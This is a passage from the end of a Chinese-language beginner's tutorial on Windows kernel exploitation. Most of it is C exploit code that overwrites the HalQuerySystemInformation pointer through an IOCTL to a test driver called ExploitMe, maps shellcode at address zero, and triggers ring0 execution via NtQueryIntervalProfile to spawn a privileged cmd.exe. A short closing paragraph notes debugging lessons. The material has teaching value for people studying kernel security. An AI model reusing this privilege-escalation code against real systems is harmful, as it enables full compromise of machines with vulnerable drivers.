xHalQuerySystemInformation);

// 卸载进程中的内核模块
LdrUnloadDll((PVOID)MappedBase);


RtlInitUnicodeString(&DeviceName, L"\\Device\\ExploitMe");

ObjectAttributes.Length = sizeof(OBJECT_ATTRIBUTES);
ObjectAttributes.RootDirectory = 0;
ObjectAttributes.ObjectName = &DeviceName;
ObjectAttributes.Attributes = OBJ_CASE_INSENSITIVE;
ObjectAttributes.SecurityDescriptor = NULL;
ObjectAttributes.SecurityQualityOfService = NULL;

// 获取驱动设备句柄
NtStatus = NtCreateFile(
&DeviceHandle, // FileHandle
FILE_READ_DATA |
FILE_WRITE_DATA, // DesiredAccess
&ObjectAttributes, // ObjectAttributes
&IoStatusBlock, // IoStatusBlock
NULL, // AllocationSize OPTIONAL
0, // FileAttributes
FILE_SHARE_READ |
FILE_SHARE_WRITE, // ShareAccess
FILE_OPEN_IF, // CreateDisposition
0, // CreateOptions
NULL, // EaBuffer OPTIONAL
0); // EaLength
printf( " * \n"
" * NtCreateFile:");
ShowAlertMsg();

// 令输出缓冲区指针指向HalQuerySystemInformation函数地址
*(DWORD *)g_ressdtOutputBuffer=(DWORD)xHalQuerySystemInformation;


NtStatus = NtDeviceIoControlFile(
DeviceHandle, // FileHandle
NULL, // Event
NULL, // ApcRoutine
NULL, // ApcContext
&IoStatusBlock, // IoStatusBlock
IOCTL_CODE, // IoControlCode
g_InputBuffer, // InputBuffer
4, // InputBufferLength
g_ressdtOutputBuffer, // OutputBuffer
4); // OutBufferLength
printf(" * NtDeviceIoControlFile:");
ShowAlertMsg();

ShellCodeAddress = (PVOID)sizeof(ULONG);

NtStatus = NtAllocateVirtualMemory(
NtCurrentProcess(), // ProcessHandle
&ShellCodeAddress, // BaseAddress
0, // ZeroBits
&ShellCodeSize, // AllocationSize
MEM_RESERVE |
MEM_COMMIT |
MEM_TOP_DOWN, // AllocationType
PAGE_EXECUTE_READWRITE); // Protect
printf(" * NtAllocateVirtualMemory:");
ShowAlertMsg();

RtlCopyMemory(
ShellCodeAddress,
(PVOID)MyShellCode,
ShellCodeSize);

printf(" * RtlMoveMemory:");
ShowAlertMsg();

// 通过调用NtQueryIntervalProfile函数来执行0x0上的ring0 shellcode
NtStatus = NtQueryIntervalProfile(
ProfileTotalIssues, // Source
NULL); // Interval
printf(" * NtQueryIntervalProfile:");
ShowAlertMsg();

NtStatus = NtClose(DeviceHandle);

printf(" * NtClose:");
ShowAlertMsg();
printf(" **************************************************************************\n");

WinExec("cmd.exe" , SW_SHOW);
printf(" * Exploit Successful!\n\n");

getchar();

}
}
}

return FALSE;
}

********************************** END ********************************************

0x3 结尾

写这个exploit,时间更多地是花在调试上面,遇到的主要问题就是写exploit时,在复制shellcode到分配的内存地址时,由于复制的字节数过大,导致因后面的内存不可读而显错,经过多次调试,将其调整为0xA00大小最为合适,另一个问题是在编译样章上的源码遇到的问题,由于粗心将符号链接名中的两斜杆\落掉了,导致编译成功后,可加载但不可启动,经过多次的内核调试才找到原因。很多问题都是如此,在找到问题根源后,总会令人大抱不值不该!本文只是内核漏洞利用的入门教程,希望能对初学者有所帮助!